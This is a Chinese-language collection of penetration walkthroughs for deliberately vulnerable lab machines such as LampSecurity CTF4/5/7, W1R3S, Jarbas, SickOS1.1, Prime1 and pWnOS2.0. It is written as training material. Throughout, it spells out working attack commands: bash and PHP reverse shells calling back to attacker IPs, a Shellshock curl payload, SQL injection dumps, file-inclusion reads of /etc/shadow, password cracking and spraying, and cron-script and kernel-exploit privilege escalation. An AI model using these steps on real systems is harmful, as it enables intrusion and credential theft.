# LampSecurityCTF4靶场

理论思路汇总，明显的常规打法思路，先扫描c段存活主机，确认靶机的ip地址，并扫描靶机的端口，通过靶机开放的端口信息进一步使用nmap查询对应的服务版本信息以及操作系统信息，发现存在80端口，那么访问这个web网站，通过游览网站得知有page和id参数，首先page参数可能存在文件包含漏洞，于是使用../../../../../etc/passwd发现并没有内容回显，说明不存在文件包含漏洞，再进一步对id进行sql注入，发现存在sql报错信息的回显，那么判断出有sql注入漏洞，接下来使用sqlmap得知数据库相关信息，得知一个用户表中的所有用户账号和密码，并通过开放的ssh服务尝试登录，尝试登陆的时候发现说有不匹配的主机密钥以及不匹配的密钥交换算法，根据错误提示，使用参数依次填入即可登录成功，接下来使用sudo -l查看这个用户能够执行的命令，结果发现什么命令都可以sudo,那么随便提权到root了。

具体操作如下

扫描c段存活主机

nmap -sn 172.16.200.0/24

扫描靶机的端口。

nmap --min-rate 1000 -p- 172.16.200.130

扫描这些端口得知版本服务信息和操作系统信息

nmap --sT -sV -O -p22,80,25,631 172.16.200.130

访问网站对id参数进行测试发现存在sql注入漏洞

id=2'

使用sqlmap获取数据库信息

sqlmap -u 'http://172.16.200.130/index.html?page=blog&title=Blog&id=2' --dbs --dump --batch

根据获取的数据库用户信息，进行ssh登录，却发现缺少key exchange

ssh dstevens@172.16.200.130

等号内容根据缺少的密钥提示进行输入。接下来发现缺少匹配的主机密钥

ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 [dstevens@192.168.15.55](mailto:dstevens@192.168.15.55)

再根据匹配的密钥进行ssh登录

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.15.55查看当前用户的sudo的命令有哪些

sudo -l

于是提权成功

sudo /bin/bash

# LAMPSecurityCTF5靶场

理论思路汇总，也是常规打法，首先扫描c段确定靶机的ip,根据ip分别扫描靶机的端口以及对应的UDP端口信息，再根据开放的端口检测对应服务版本号以及操作系统相关信息。再根据namp的script脚本扫描这些开放端口有哪些漏洞可以利用，紧接着根据开放的80端口游览网页，发现是nanocms系统，根据搜寻得知nanocms存在RCE远程代码执行漏洞，在根据搜索引擎搜索发现nanocms有敏感文件路径泄露的情况，于是查找得知里面存在cms管理员的账号和密码，密码是md5加密可以使用hashcat碰撞得出，登录cms管理系统，将里面的php网页加入反弹shell的php代码，kali进行监听即可得到低权限用的shell,然后根据查找所有文件中的内容是否存在pass字段，最后得知了root的密码信息，接下来使用python提高shell交互性之后即可切换root登录。

具体操作如下

扫描c段存活主机

nmap -sn 10.10.10.0/24

扫描靶机的端口

nmap --min-rate 10000 -p- 10.10.10.23 -oA report/minrate

对扫描的端口检测服务版本号以及操作系统信息

nmap -sT -sV -O -p22,25,80,110,111,139,143,445,901,3306,54777 10.10.10.23

对靶机的UDP端口进行扫描。

nmap -sU --min-rate 10000 -p- 10.10.10.23

对这些开放端口进行扫描是否有漏洞利用

nmap --script=vuln -p22,25,80,110,111,139,143,445,901,3306,54777 10.10.10.23

通过游览web发现是nano的cms，于是查看该cms可利用的漏洞

searchspolit nanocms

通过搜索引擎搜索得知nano具有路径泄露的情况

/data/pagesdata.txt

于是获取到账号和一个密码hash,并查看这密码hash的特征，得知最有可能是md5

hash-identifier '密码hash'

解压kali自带的密码本压缩包

-k是指解压时保留原压缩包文件

gunzip rockyou.txt.gz -k

使用密码本碰撞这个md5

-m指定破解md5类型的密码，-a指定攻击模式是字典攻击

hashcat -m 0 -a 0 密码hash /usr/share/wordlists/reckyou.txt

得知密码登陆后，对该cms已有的php网页，加入恶意php反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.3/1234 0>&1'"); ?>

kali建立端口监听

nc -lvnp 1234

接下来就是提权了，先查看是否当前用户家目录的所有文件是否包含pass字段

-R递归,-i表示不区分大小写

grep -R -i pass /home/\* 2>/dev/null

于是查找到一个文件具有root密码，需要切换用户登录，但反弹shell的交互性不高，可以使用python使其交互性提高

python -c "import pty;pty.spawn('/bin/sh')"

切换root登录

su root

# W1R3S 1.0.1靶场

理论思路汇总，首先还是常规思路，先扫描C段找到靶机ip,并对靶机的端口进行扫描，并且也探测其中的UDP端口，将开放的端口都使用nmap进行检测其中的服务版本号，以及操作系统信息，检测过程中发现ftp服务存在匿名登录的现象，由于匿名登录是无密码的，于是可以任意下载ftp的内部文件，下载后里面有一串md5 hash和base64加密的字符串，经过md5碰撞和base64解密确认是无效内容，通过检测出mysql进行尝试远程连接，结果发现是拒绝远程连接，于是放弃mysql渗透的路线，尝试查看web界面，web界面本身就是一个apache界面，无任何有效信息，源码中也无有用信息，于是使用gobuster配合字典扫描目录，于是找到wordpress目录，但是无法访问这个目录，在聚焦到administrator目录的访问，发现里面是cuppa cms系统，访问进去是安装界面，想通过安装进入管理cms系统，结果发现无法安装，通过searchsploit查找该cms存在文件包含的漏洞，于是利用该漏洞查看到了/etc/shadow敏感文件的内容，通过john暴力破解出其中hash密码，使用ssh登录，发现其中的一个用户可以任意使用sudo命令，那么提权到root就相当容易了。

具体操作如下

扫描C段存活主机

nmap -sn 10.10.10.0/24

使用TCP三次握手的连接方式探测靶机的端口，并输出

-oA nmapscan/ports将扫描结果以三种格式保存到 nmapscan 目录下的 ports 文件中。

注意默认不指定-sT,会使用-sS，这个是使用tcp的syn请求包进行探测，只进行一次握手来探测端口，但是准确性低于-sT

nmap -sT --min-rate 10000 -p- 10.10.10.21 -oA nmapscan/ports

当主机端口开放过多，可以使用命令把输出的文件过滤出open的端口

grep open nmapscan/ports.nmap

可以使用awk过滤出端口号信息

grep open nmapscan/ports.nmap | awk -F'/' '{print $1}'

标准化输出，把端口号信息以逗号分隔输出成一行，其中-s是输出成一行,-d是指定分隔符

grep open nmapscan/ports.nmap | awk -F'/' '{print $1}'|paste -sd ','

根据开放的端口检测服务版本信息以及操作系统信息

-sC使用nmap默认的脚本分类目录名称

nmap -sT -sV -sC -O -p21,22,80,3306 10.10.10.21 -oA nmapscan/detail

指定UDP方式扫描最常见的20个udp端口是否打开

nmap -sU --top-ports 20 10.10.10.21 -oA nmapscan/udp

扫描这些开放端口是否有可利用漏洞，发现存在ftp匿名登录的漏洞

nmap --script=vuln -p21,80,22,3306 10.10.10.21 -oA nmapscan/vuln

于是匿名登录靶机的ftp服务

ftp 10.10.10.21

ftp内部设置为二进制模式

binary

关闭ftp的交互提示，以便进行操作不会有提示

prompt

下载ftp的多个文件

mget \*.txt

下载ftp的单个文件

get 1.txt

读取ftp中的文件信息，发现有hash值，进行判断hash类型

hash-identifier hash值

在网上搜索md5 cracker，得知这个hash的明文提示说不是密码

再通过读取ftp文件发现有一串base64加密的密文，那么进行解密

-d表示进行base64解密，但是解密的内容没啥用

echo "base64加密" |base64 -d

ftp渗透不成功后，尝试查看mysql服务器是否能登录,结果发现不允许攻击机连接

mysql -h 10.10.10.21 -u root -p

于是尝试80端口的渗透，查看网页没发现什么有用信息，于是查看源码的注释信息也没发现有用信息

于是进行网站目录爆破

gobuster dir -u http://10.10.10.21 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

根据爆破的目录得知存在两个cms系统，一个是wordpress，另一个是cuppa

首先wordpress无法访问，那么只能查看cuppa是否有漏洞，这个cuppa处于安装界面，按序安装会发现无法安装

于是探测这个cms是否有利用漏洞

searchsploit cuppa cms

下载cms利用漏洞的25971.txt脚本

searchsploit cuppa -m 25971

根据脚本的使用方式，测试文件包含漏洞，但是传入参数请求有响应却无显示内容，可能存在的情况是后端使用post请求才行

--data-urlencode对参数内容进行url编码，并以post方式发送给后端

curl --data-urlencode 'urlconfig=../../../../../../../etc/passwd' http://10.10.10.21/administrator/alerts/alertConfigField.php

于是文件包含能够得知/etc/shadow的用户名以及密码hash值，将有密码hash的用户全部保存到一个文件

使用john对文件内部的hash值进行破解,破解出两个低权限用户的密码

john shadow.hash

远程登录其中一个用户

ssh wir3s@10.10.10.21

查看当前用户能够执行的sudo命令

sudo -l

于是提权成功

sudo /bin/bash

另一个方式获取权限

自己自定义要破解的用户名文件。

ssh下暴力破解这些用户名

-t是指定线程数

hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.21 -t 4

# JARBAS 靶场

理论思路汇总，首先仍然常规方法先扫描c段确定靶机的ip，并进行端口扫描，并通过确认开放的端口继续检测服务版本号以及操作系统信息，扫描UDP的端口，并且扫描开放端口是否有利用的漏洞，通过扫描得知8080端口下存在robots.txt，但是访问的内容无有效信息，通过开放的22、80、8080、3306端口中，一般来说优先考虑80和8080端口的渗透，而22端口优先级最低，访问80端口里面的网页没有什么有效信息，通过用gobuster配合目录大字典进行目录扫描得到有一个access.html，访问得到三个用户和三个密码hash，通过hash-identifier确认是md5类型，通过网上搜索md5 cracker碰撞出三个密码，由于通过对应用户和对应密码无法登录8080端口下的jenkins管理后台，于是bp配合集束炸弹，得到正确账号和密码进行登录，而jenkins本身可以新建自由类型项目，在里面设置execute shell，写入反弹shell命令，kali配合端口监听，即可得到低权限用户的shell,接下来就是提权环节，首先使用sudo -l但是不知道jenkins用户的密码，无法使用sudo命令，于是放弃该提权路线，查看定时任务计划，得知root用户每隔五分钟执行一个脚本，但是这个脚本普通用户可以写入，于是写入反弹shell，kali重新监听，最后得到了root权限。

具体操作如下所示

扫描C段，确定靶机ip。

nmap -sn 10.10.10.0/24

扫描靶机ip的端口

nmap --min-rate 10000 -p-10.10.10.21

检测开放端口的服务版本信息以及操作系统信息

nmap -sT -sV -O -p22,80,3306,8080 10.10.10.21

扫描靶机的UDP端口

nmap -sU -p- 10.10.10.21

扫描开放端口是否有可利用漏洞

nmap --script=vuln -p22,80,3306,8080 10.10.10.21

扫描出8080端口有robots.txt文件暴露出来，但是没有什么有效信息

于是先访问80端口的web进行目录爆破,但是使用这两个都没有扫描出什么目录

dirb http://10.10.10.21

gobuster dir -u http://10.10.10.21 -w

于是加上扩展名再试试能否扫描出内容

gobuster dir -u http://10.10.10.21 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x html,php

分别扫描出index.html和access.html，根据访问access.html找到了几个账号和加密的密钥

确定密钥的哈希类型

hash-identifier 'hash值'

于是web搜索md5 cracker来碰撞出hash值

于是使用账号和密码，访问8080端口的jenkins管理后台进行登录

在jenkins管理后台创建item,类型是自由项目，并且在里面的build中可以执行shell

于是可以执行反弹shell

/bin/bash -i >& /dev/tcp/10.10.10.3/4444 0>&1

kali开始端口监听

nc -lvnp 4444

接下来jenkins点击build now即可执行这个反弹shell命令

接下来尝试提权,查看可以执行的sudo命令，结果什么都没有

sudo -l

于是查看是否有定时任务的信息,发现有个脚本以root身份每隔5分钟执行一次。

cat /etc/crontab

于是加入这个反弹shell到这个脚本文件中

echo "/bin/bash -i >& /dev/tcp/10.10.10.3/4443 0>&1" >> /etc/script/CleaningScript.sh

kali进行监听获得root的shell

nc -lvnp 4443

# SickOS1.1靶场

理论思路汇总，首先按照常规的方法先扫描C段，确认靶机ip,扫描开放的端口并确定其中的服务版本和操作系统信息，根据nmap的脚本并无扫描出可利用的漏洞，而根据开放的三个端口22优先级渗透最低，而8080是关闭的端口，还有一个是3128端口是squid代理服务，根据这个端口访问页面并无有效信息，于是进行目录扫描，分别使用dirb和gobuster进行扫描都无扫描出目录，根据squid代理服务的提示，可以尝试设置代理的方式去扫描这个站点，于是扫描出好几个url路径，接下来访问了其中的robots.txt发现了一个wolfcms的url路径，那么就围绕这个cms展开，访问过程中并无发现有效信息，但是没有找到该cms的后台登录界面站点，于是根据网页搜寻得知对应的路径后得以访问，并且根据网页搜寻得知默认账号是admin,那么根据弱口令爆破出了密码也是admin，于是登录到这个cms,这个cms内部可以对网页的代码进行编辑，那么接下来就可以插入一段php的反弹shell代码，kali建立端口监听，当再次访问这个php页面就会触发得到shell,接下来就是提权环节，这个用户本身无sudo，查看定时计划任务也无合适提权的方法，然后查找敏感文件得到了一个mysql数据的密码，根据这个密码对linux系统下的各个用户进行尝试，最后其中一个sickos的用户能够登录，而该用户的sudo命令可以任意执行，于是提权就相当简单了。

具体操作如下

扫描c段，确认靶机ip

nmap -sn 10.10.10.0/24

扫描靶机ip的端口

nmap --min-rate 10000 -p- 10.10.10.19

探测开放端口的服务版本信息和操作系统信息

nmap -sT -sV -O -p22,3128,8080 10.10.10.19

进行UDP的端口扫描

nmap -sU --min-rate 10000 -p- 10.10.10.19

扫描开放端口有无可利用漏洞

nmap --script=vuln -p22,80,8080 10.10.10.19

于是访问探测出的端口3128，查看这个网页，网页内容是一段报错信息，感觉无有效信息，但是提示了squid

于是网页搜索squid是一个代理服务器。

但是由于不清楚代理服务的使用，常规思路是暴力扫描该网站的目录,但是扫描目录不成功

dirb http://10.10.10.19:3128/

gobuster dir -u http://10.10.10.19:3128/ -w /usr/share/seclist/Discovery/Web-Content/raft-large-directories.txt

那么从代理的思路，可以将3128端口作为代理扫描这个主机的目录,结果是能扫描出结果

dirb http://10.10.10.19 -p http://10.10.10.19:3128

那么自己设置3128为代理，从而可以访问靶机的web服务

在访问robots.txt时暴露了使用wolfcms系统，于是即可访问wolfcms系统

但是访问时没有发现wolfcms的管理后台登陆界面，于是可以去网页搜寻得到路径，即可访问

可以搜索这个是否有默认的用户名和密码，发现默认账号是admin，但是不知道密码，可以尝试弱口令暴力破解登录

登陆后，里面可以对网页的php代码进行编辑，于是可以加入反弹shell的php代码

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");?>

kali建立端口监听

nc -lvnp 1234

监听获得shell，查看里面的config.php可以获取到mysql数据库的账号和密码

查看用户信息，用这个mysql的密码枚举每个具备shell的用户，看是否能ssh登录，结果sickos用户可以登录

于是查看能不能执行sudo命令，发现什么都可以执行，于是随便提权了

sudo -l

提权完毕。

sudo /bin/bash

# SickOS1.1靶场 解法二

理论思路汇总，首先根据端口扫描得知有squid代理服务，使用nikto并添加代理服务来扫描靶机站点是否存在web漏洞，结果扫描出存在shellshock漏洞，根据curl命令伪造referer头携带bash命令进行验证，发现存在shellshock漏洞，于是利用msf生成bash的反弹shell命令，并通过curl传入，kali进行监听得到一个低权限用户的shell,于是开始进行提权操作，由于不知道该用户的密码，所以sudo提权路线放弃，在根据定时任务计划进行寻找，发现有一个定时任务，每隔一分钟以root用户执行一个py文件，那么只需使用msf生成python相关的反弹shell，并添加到这个py文件即可，kali进行监听，等待一分钟后提权成功。

具体操作如下

通过suquid代理扫描该站点存在的web漏洞，并且扫描出url路径下/cgi-bin/status具有shellshock漏洞

nikto -h 10.10.10.19 -useproxy http://10.10.10.19:3128

通过该命令判断是否有shellshock漏洞，由于回显的内容有id的用户信息，说明有shellshock漏洞

-v是详细输出，--proxy是指定代理,-H是指定主机头

curl -v --proxy http://10.10.10.19:3128 http://10.10.10.19/cgi-bin/status -H "Referer:(){test;};echo 'Content-Type: text/plain';echo;echo;/usr/bin/id;exit"

curl -v --proxy http://192.168.15.59:3128 http://192.168.15.59/cgi-bin/status -H "Referer:(){ test;};echo 'Content-Type: text/plain';echo; echo; /usr/bin/id;exit"

使用msf生成反弹shell的payload

msfvenom -p cmd/unix/reverse\_bash lhost=10.10.10.3 lport=1234 -f raw

kali进行监听

nc -lvnp 1234

利用shellshock漏洞执行反弹shell,如果kali监听一小会后断了，可以在msf生成payload处把sh内容补全为/bin/sh

curl -v --proxy http://10.10.10.19:3128 http://10.10.10.19/cgi-bin/status -H "Referer:(){test;};放置msf的payload"

获得shell后，查看操作系统信息

uname -a

查看安装的软件有哪些

dpkg -l

用python提高shell的交互性

python -c "import pty;pty.spawn('/bin/bash')"

接下来就是提权环节，查看sudo命令，但是要密码却不知道，故放弃这个路线

sudo -l

于是查看定时计划任务的文件看能否提权

cat /etc/crontab

查看etc目录下还有哪些cron目录

ls cron\*

于是进入查看这个目录下的文件定时计划任务，发现有个py文件每隔一分钟以root用户执行。

cd /etc/cron.d/

于是生成一个py的反弹shell代码

msfvenom -p cmd/unix/reverse\_python lhost=10.10.10.3 lport=2345 -f raw

于是把生成的内容反弹shell的内容添加到py文件。

此时kali需要监听端口

nc -lvnp 2345

# Prime1靶场

理论思路汇总，首先还是先常规思路先扫描c段确定靶机ip，并扫描靶机的端口，并对开放端口检测服务版本以及操作系统相关信息，由于检测出80和22端口，80端口优先级更高，于是开始进行渗透，根据访问的网页并无有效信息，于是开始dirb扫描网站的目录，扫描出有wordpress cms系统，以及一个dev目录，首先访问dev目录，里面提示说需要仔细挖掘站点的内容，于是使用dirb指定后缀为txt和zip来扫描站点，结果找到secret.txt，里面提示说需要对所有php文件进行fuzz来暴力得到参数，并且还提示了一个location.txt文件，于是经过fuzz得知index.php站点具有一个参数file,那么将location.txt作为参数值传入得到了新的提示，提示中表面有secrettier360参数，能够在其他的php文件使用，于是在image.php中携带这个参数，有提示信息说找到正确的参数，但是不知道这个参数具体有什么作用，于是进行文件包含漏洞，结果能查看到/etc/passwd敏感文件的内容，该文件提示查看/home/saket/password.txt具有密码，于是再次文件包含得到密码，根据ssh的尝试没有一个用户能够使用该密码登录，于是猜测是用在wordpress用户的密码，然后使用wpscan对wordpress进行用户枚举得到了一个用户victor，根据这个用户和密码登陆到了管理后台，一般根据管理后台可以根据plugins和theme editor这两个地方展开获得shell，其中plugins无法上传文件成功，于是该路线放弃，而theme editor中可以对php文件进行编辑修改，于是在其中的一个文件添加了php的反弹shell代码，在使用wpscan对目录进行枚举扫描，得知这个php的url路径，kali进行监听，然后访问这个php就获得shell了。接下来提权操作中分别对sudo和定时计划任务进行尝试都不奏效，那么就只能走内核提权，先查找内核版本，再根据searchsploit查询对应的提权漏洞，然后把漏洞文件传入靶机，编译执行即可提权成功。

具体操作如下

进行c段扫描，确定靶机ip地址

nmap -sn 10.10.10.0/24

扫描靶机的端口信息

nmap --min-rate 10000 -p- 10.10.10.22

扫描靶机开放端口的服务版本信息

nmap -sT -sV -O -p22,80 10.10.10.22

对靶机的UDP端口进行扫描

nmap -sU -p22,80 10.10.10.22

对靶机的开放的端口扫描是否存在可利用漏洞

nmap --script=vuln -p22,80 10.10.10.22

80端口的优先级比较高，所以访问网页，但是并无发现有效信息，于是进行目录爆破

目录扫描出有关wordpress cms的相关信息和一些目录

dirb http://10.10.10.22

首先访问/dev目录，里面提示要我们深挖网站目录信息

一般dirb是用于扫描目录的，可以在指定扩展名扫描也没有zip和txt相关的文件，结果发现扫描出一个txt文件

dirb http://10.10.10.22 -X .zip,.txt

于是利用dirb扫描出所有的php文件

dirb http://10.10.10.22 -X .php

通过访问这个txt文件，提示说要对扫描出的php文件，进行参数的fuzz模糊测试，也提示查看另一个txt文件来进行操作

其中image.php无fuzz出参数，而index.php可以fuzz出file参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt -hw 12 http://10.10.10.22/image.php?FUZZ=123

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt -hw 12 http://10.10.10.22/index.php?FUZZ=123

于是可以根据这个file参数来查看提示文件的内容,里面提示使用secrettier360参数去尝试其他的php文件。

curl http://10.10.10.22/index.php?file=location.txt

那么就可以使用secrettier360参数尝试image.php,但是不知道这个参数是干嘛的，可以尝试是否可以文件包含，结果是可以文件包含

curl http://10.10.10.22/image.php?secrettier360=../../../../../../../../../etc/passwd

查看这个敏感文件，里面提示有一个password.txt文件，能够查看某个用户的密码，于是继续进行文件包含,可以得到密码。

curl http://10.10.10.22/image.php?secrettier360=../../../../../../../../../home/saket/password.txt

用于尝试ssh登录，但是都说密码不正确，于是只能访问之前扫描出的wordpress系统。

首先使用wpscan扫描wordpress的cms是否存在漏洞

-e u是设置尝试枚举用户名

wpscan --url http://10.10.10.22/wordpress -e u

然后访问该cms的管理登录网站，尝试使用枚举的用户和之前获取的密码进行登录，然后登录到管理后台。

首先wordpress管理后台的plugins可以上传zip，看看能不能围绕这里进行渗透。

首先任意上传一个zip包，发现无法上传，于是这个路线放弃

在apperance中的theme Editor寻找哪些php文件可以进行编辑，发现secret.php可以编辑修改，于是在里面添加php反弹shell代码

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.3/3456 0>&1'"); ?>

kali进行监听即可

nc -lvnp 3456

接下来就是提权环节，分别使用sudo -l和查看定时计划任务配置文件，都无提权的空间，于是尝试内核提权,查看内核版本。

uname -a

搜索可利用的内核版本漏洞

searchsploit Linux ubuntu 4.10.0-28

下载利用漏洞的脚本。

searchploit Linux ubuntu -m 45010

开启一个http服务，以便靶机能够下载这个漏洞脚本

python3 -m http.server 8000

靶机下载漏洞脚本文件，并编译这个c文件

wget http://10.10.10.3:8000/45010.c

gcc 45010.c -o 45010

执行这个可执行文件，即可提权成功

./45010

# Prime1靶场的另一种提权思路

首先获取shell之后，由于内核提权往往会造成操作系统的不稳定，一般不太建议使用，那么另一种提权思路就是，通过sudo -l发现当前用户可以执行enc文件，但是由于是通过反弹shell并不知道用户的密码，故无法执行这个文件，所以通过进行全局搜索关键字找到了执行enc文件的密码，通过执行enc文件，当前目录下生成了enc.txt和key.txt，分别对应一个密文文件和密钥文件，密钥文件中提示使用ippsec字符串的md5hash作为密钥进行解密，但是关键是并不知道这个密文所使用的加密算法是哪个，根据openssl提供的101个加密算法中，将其加密算法类型复制下来，并配合awk进行修整格式，这样可以通过for循环对所有加密算法进行尝试来解密，然后使用openssl解密得出saket用户的密码，通过saket的密码进行ssh登录，查看有哪些sudo命令可以执行，发现能够执行一个文件，而这个文件又需要另一个文件才能够执行，于是在另一个文件中添加/bin/bash命令，即可提权到root。

具体操作如下

提权的另一种思路

由于在查看sudo -l发现能以root执行enc文件，但是并不清楚该用户的密码，所以也无法执行

那么可以尝试搜索这个靶机是否有相关的密码信息

查找有关备份的相关信息

find / -name '\*backup\*' 2>/dev/null |sort |less

在查找的过程中会搜寻到一个backup\_pass文件，里面存着enc file的密码。

于是可以根据这个密码来执行enc可执行文件了，会输出一个结果good,并且同目录会多出两个文件

其中一个文件提示需要把一个字符进行md5转换，在使用这md5获得真实形式，但具体怎么用暂时不清楚

那么就对字符串进行md5转换，-n表示不输出换行符

echo -n 'ippsec' | md5sum

由于输出的换行符具有空格，所以可以使用awk过滤出md5hash

echo -n 'ippsec' | md5sum|awk -F' ' '{print $1}'

将enc.txt的内容进行解密

echo -n 'enc.txt的内容' | openssl enc -d -a -CipherType -K md5hash的十六进制形式

但是由于不知道加密算法是哪个，所以不能确定-CipherType参数的内容

通过man openssl可以得知所有的加密算法类型，将所有的加密类型存入到一个文件中

对里面的内容进行格式修改，gsub是全局替换，把空格的内容全部替换成换行符

awk '{gsub(/ /,"\n");print}' CipherTypeRaw

由于过多换行符，使用sort排序可清除换行符

awk '{gsub(/ /,"\n");print}' CipherTypeRaw|sort

可以查看清除换行符后行数有多少

awk '{gsub(/ /,"\n");print}' CipherTypeRaw|sort |wc -l

发现前面有很多空行,可以使用uniq去除多个空行，这样里面就只剩下一个空行

awk '{gsub(/ /,"\n");print}' CipherTypeRaw|sort |uniq >CipherType

对md5的hash进行十六进制转换

echo -n 'ippsec' | md5sum|awk -F ' ' '{print $1}'|tr -d '\n' |od -A n -t x1 | tr -d '\n'|tr -d ' '

使用循环分别使用所有的加密类型,但是openssl有时候有bug,有些没有换行符的时候解密会出问题，所以要去掉echo的-n参数

for Cipher in $(cat CipherTypes);do echo -n 'enc.txt内容' | openssl enc -d -a -$Cipher -K md5hash的十六进制形式 2>/dev/null;echo $Cipher;done

最后解密可以获得saket用户的密码。

然后使用ssh登录这个用户，继续查看sudo -l尝试提权。根据这个可执行文件的提示信息

在/tmp/chanllenge下写入一个shell脚本来提权，内容可以写如下所示

#! /bin/bash

/bin/bash

# LAMPSecurityCTF7靶场

首先还是根据nmap扫描出靶机的ip并作出端口扫描，并根据开放端口检测版本服务信息以及操作系统信息，由于开放端口比较多，首先先对优先级较高的web服务进行渗透，首先对访问80端口的网页，无任何有效信息也没发现漏洞利用，于是先对80端口的网页进行dirb目录扫描，然后访问8080端口，发现存在一个登录界面，利用万能密码sql注入能够登陆进去，并且里面的网页可以进行文件上传，于是可以上传php木马，kali建立监听，配合dirb在80端口的扫描，得知上传的shell.php的路径位于/assets下，当访问该php,那么就能获得低权限用的shell，接下来就是提权环节，由于不知道该用户的密码，无法查看sudo -l，那么就查看是否有敏感文件，发现存在mysql的配置文件，得知mysql的密码，访问mysql的用户表，里面存在许多用户名和密码hash值，使用hash-identifer检测出是md5的hash,使用hashcat碰撞出明文密码，在使用crackmapexec配合用户名和密码进行密码喷射攻击，得知了一些用户名对应的密码，然后登录其中的一个用户，发现可以sudo命令任意执行，从而提权成功。

具体操作如下

探测C段主机，确定靶机ip

nmap -sn 10.10.10.0/24

扫描主机开放的端口

nmap --min-rate 10000 -p- 10.10.10.24

对靶机进行UDP端口扫描

nmap -sU --min-rate 10000 -p- 10.10.10.24

检测开放端口的服务版本信息

nmap -sT -sV -O -p22,80,137,138,139,901,5900,8080,10000 10.10.10.24

使用脚本扫描开放端口是否有可利用漏洞

nmap --script=vuln -p22,80,137,138,139,901,5900,8080,10000 10.10.10.24

首先根据扫描的端口查看80的网页，游览后并未发现什么漏洞，于是进行目录扫描

dirb http://10.10.10.24

而访问8080端口存在，存在sql注入漏洞，可以使用万能密码直接登录,经过页面游览发现存在文件上传

于是构造一个shell.php看能否利用文件包含漏洞

内容:<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.3/1234 0>&1'"); ?>

然后kali建立监听

nc -lvnp 1234

通过之前的dirb扫描出来，其中一个目录/asserts可以访问shell.php，于是即可访问触发反弹shell执行

由于是低权限用户，所以要提权，首先查看sudo可执行的命令,但是不知道用户的密码

sudo -l

于是查看网站根目录，看看能不能找到mysql数据库的密码,于是找到密码为空，于是访问mysql

mysql -uroot

然后查找users表，里面可以获取很多hash密码，将其中的用户名和密码复制下来

提取其中的用户名信息，并放入到一个文件中。

cat creds.lst | awk -F ' ' '{print $2} ' |awk -F '@' '{print $1}' > user.lst

提取里面的密码hash到一个文件中

cat creds.lst|awk -F ' ' '{print $4}' > hash.lst

识别hash是哪个类型，发现是md5

hash-identifier 'hash值'

使用字典碰撞md5的密码值

hashcat -m 0 -a 0 hash.lst /usr/share/wordlists/rockyou.txt

将碰撞的密码复制到一个文件，并提取出明文密码到另一个文件

cat passwordraw | awk -F ':' '{print $2}' > password.lst

由于用户名和密码过多，可以使用密码喷射的方式进行，即每个密码给所有的用户进行尝试

--continue-on-success表示尝试成功后，继续进行破解，grep用于过滤出尝试成功的信息

crackmapexec ssh 10.10.10.24 -p password.lst -u users.lst --continue-on-success |grep +

登录其中一个用户brian可以使用sudo执行任意命令，那么就随便提权成功了

sudo /bin/bash

# pWnOS2.0 靶场

理论思路汇总，首先根据扫描C段确定靶机ip并对其端口扫描，并确认其中的服务版本信息以及操作系统信息，由于只开放80和22端口，优先对80端口进行渗透测试，发现里面有一个网页能够进行万能密码的sql注入，但是注入后的登录状态并无渗透利用的地方，于是只能使用dirb目录扫描，扫描访问/blog路径，发现非常类似某一种cms系统，通过查看源码搜索关键字powered得知该cms的名称，根据cms的名称去搜寻相关的漏洞，下载漏洞利用脚本执行创建了该cms的用户，登录进去发现有文件上传漏洞，于是上传木马得到初级用户的shell,接下来就是提权环节，由于不知道该用户的密码，sudo路线无法进行，而定时计划任务也没有提权的相关操作，于是查看敏感文件，发现存在两个数据库的配置文件，根据数据库查看里面的用户表，里面有一串sha-1的hash密码，去网上搜寻碰撞出密码后，但是该密码无法使用ssh登录成功，于是想到运维人员可能会重用mysql的密码到root用户上，于是经过尝试确实可以登录，那么就顺利获得root权限了。

具体操作如下

首先扫描c段，确定靶机的IP是10.10.10.100

nmap -sn 10.10.10.0/24

对靶机的ip进行端口扫描

nmap --min-rate 10000 -p- 10.10.10.100

对靶机的ip进行UDP端口的扫描

nmap -sU --min-rate 10000 -p- 10.10.10.100

对开放端口的服务版本和操作系统信息进行检测

nmap -sT -sV -O -p22,80 10.10.10.100

对开放端口扫描是否有可利用漏洞

nmap --script=vuln -p22,80 10.10.10.100

访问web界面，并对网站进行目录扫描

dirb http://10.10.10.100

游览web界面中存在一个登录的界面，可以使用万能密码进行注入，但是里面无有效信息

通过扫描/blog的url路径进行访问，发现是一个类似cms的管理系统，于是查看源码得知cms系统名称

搜索相关cms的利用漏洞

searchsploit Simple PHP Blog 0.4.0

下载对应的利用漏洞脚本，然后查看里面的内容，看具体怎么使用

searchsploit Simple PHP Blog -m 1191

使用这个漏洞脚本,给这个cms里面创建一个用户，于是可以使用该账号登录到该cms

perl 1191.pl -h http://10.10.10.100/blog -e 3 -U hsw -P 123456

该cms正好有上传文件的地方，于是可以上传一个shell.php

内容是<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.1/1234 0>&1'");?>

kali进行端口监听

nc -lvnp 1234

获得shell后，就要想办法提权了

查看安装了什么软件

dpkg -l

查看sudo能否执行什么命令，但是缺少pty交互，暂时不给查看

sudo -l

于是搜寻网站根目录，发现一个数据库连接配置文件，里面有数据库的密码，但是无法登录

于是根据推理可能是没有使用这个配置文件，那么可能该php后台使用的是其他的配置文件，那么根据文件名去查找也没有相同的文件

find / -name mysqli\_connect.php 2>/dev/null

于是确实有两个文件，那么另一个文件提供的mysql密码是可以登陆的。

那么查找里面users表可以获得用户和一串密码hash

判断该hash值的类型，发现是SHA-1类型

hash-identifier 'hash值'

于是在网上搜索SHA-1 cracker来碰撞出明文密码

然后进行远程登录，但是这个用户无法用该密码登录

ssh dan@10.10.10.100

此时发现线索断了，但是实际上有的运维人员会使用mysql的root密码作为自己的root密码，于是尝试登录就成功了

# pWnOS1.0靶场

